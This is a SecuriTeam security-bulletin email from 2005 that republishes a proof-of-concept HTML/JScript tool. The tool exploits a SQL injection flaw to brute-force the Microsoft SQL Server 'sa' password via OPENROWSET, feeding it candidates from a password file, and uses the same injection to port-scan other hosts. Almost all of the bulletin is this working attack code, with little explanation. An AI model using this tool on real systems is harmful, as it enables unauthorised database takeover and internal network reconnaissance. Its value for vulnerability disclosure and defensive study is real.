[TOOL] MS SQL Server Passwords Bruteforce via SQL Injection (PoC)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  MS SQL Server Passwords Bruteforce via SQL Injection (PoC)
------------------------------------------------------------------------


SUMMARY



DETAILS

Base on the article linked in our previous article:  
<http://www.securiteam.com/securityreviews/5IP030K8AA.html> Manipulating 
Microsoft SQL Server Using SQL Injection, the following tool will utilize 
SQL injection vulnerabilities to brute force MS SQL's sa password.

Tool:
< html>
< h3>
MS SQL Server passwords bruteforce PoC via SQL Injection
< /h3>
(c)oded by Sergey V. Gordeychik 2005< br>
< a href=mailto: offtopic@mail.ru>offtopic@mail.ru< /a>
< hr>
< table>
< tr>
< td>
URL with injection:
< /td>
< td>
< input type=text Value="http://200.4.4.106/inject.asp?id=1;< ***>" 
id=baseurl>
< /td>
< tr>
< td>
Passwords file:
< /td>
< td>
< input type=text Value="passwords.txt" id=passwords>
< /td>
< /table>
< input type=button Value="Start" onclick="brut();">
< hr>
< h3>
Network port scanner via SQL Injection
< /h3>
< hr>
< table>
< tr>
< td>
Server:
< /td>
< td>
< input type=text Value="200.4.4.6" id=server>
< tr>
< td>
Port to scan:
< /td>
< td>
< input type=text Value="445" id=port>
< /table>
< input type=button Value="Check" onclick="scan();">
< hr>
< a id="status">< /a>


< script language="JScript">

 var xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
 var inject = "select * from openrowset('SQLOLEDB','.';'sa';'pass','select 
1')"


  function scan()
  {

    var x,s = inject.replace(".", document.getElementById("server").value 
+ "," + document.getElementById("port").value);
    s = document.getElementById("baseurl").value.replace("< ***>", s);
    xmlhttp.Open("GET", s, false);
    xmlhttp.Send();
    x = xmlhttp.responseText;
    if (x.indexOf("SQL Server does not exist")>=1) s="closed"; else
    if (x.indexOf("Timeout expired")>=1) s="filtered or unreachable"; else
    if (x.indexOf("Login failed")>=1) s="SQL Server detected."; else  
s="open";
    document.getElementById("status").innerHTML="Scaned " + 
document.getElementById("server").value + ":" + 
document.getElementById("port").value + ".Port status:< b>"+s;

  }

  function checkpass(url, passwd)
  {
    var s = inject.replace("pass", passwd);
    s = url.replace("< ***>", s);
    xmlhttp.Open("GET", s, false);
    xmlhttp.Send();
    if (xmlhttp.responseText.indexOf("Login failed")>=1) return 0; else
    {
    return 1;
    }
  }
  
  function brut()
  {
   document.getElementById("status").innerHTML="Starting...";
   var fso, f, pass, baseurl, passwords, i
   fso = new ActiveXObject("Scripting.FileSystemObject");
   baseurl=document.getElementById("baseurl").value;
   passwords=document.getElementById("passwords").value;
   f = fso.OpenTextFile(passwords, 1);
   i = 0;
   while (!f.AtEndOfStream)
   {
    pass = f.ReadLine();
    i=i+1;
    if (!(i % 10))
    {
       document.getElementById("status").innerHTML="Trying password N"+i+" 
 < b>"+pass+"< /b>";
    }
    if (checkpass(baseurl, pass))
    {
      document.getElementById("status").innerHTML="SA password is '< 
b>"+pass+"< /b>'. Checked "+i+" passwords";
      return 0;
    };
   }
   document.getElementById("status").innerHTML="Ooopssss.... May be next 
time";
  }
< /script>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:offtopic@mail.ru> offtopic.
The original article can be found at:  
<http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip> 
http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.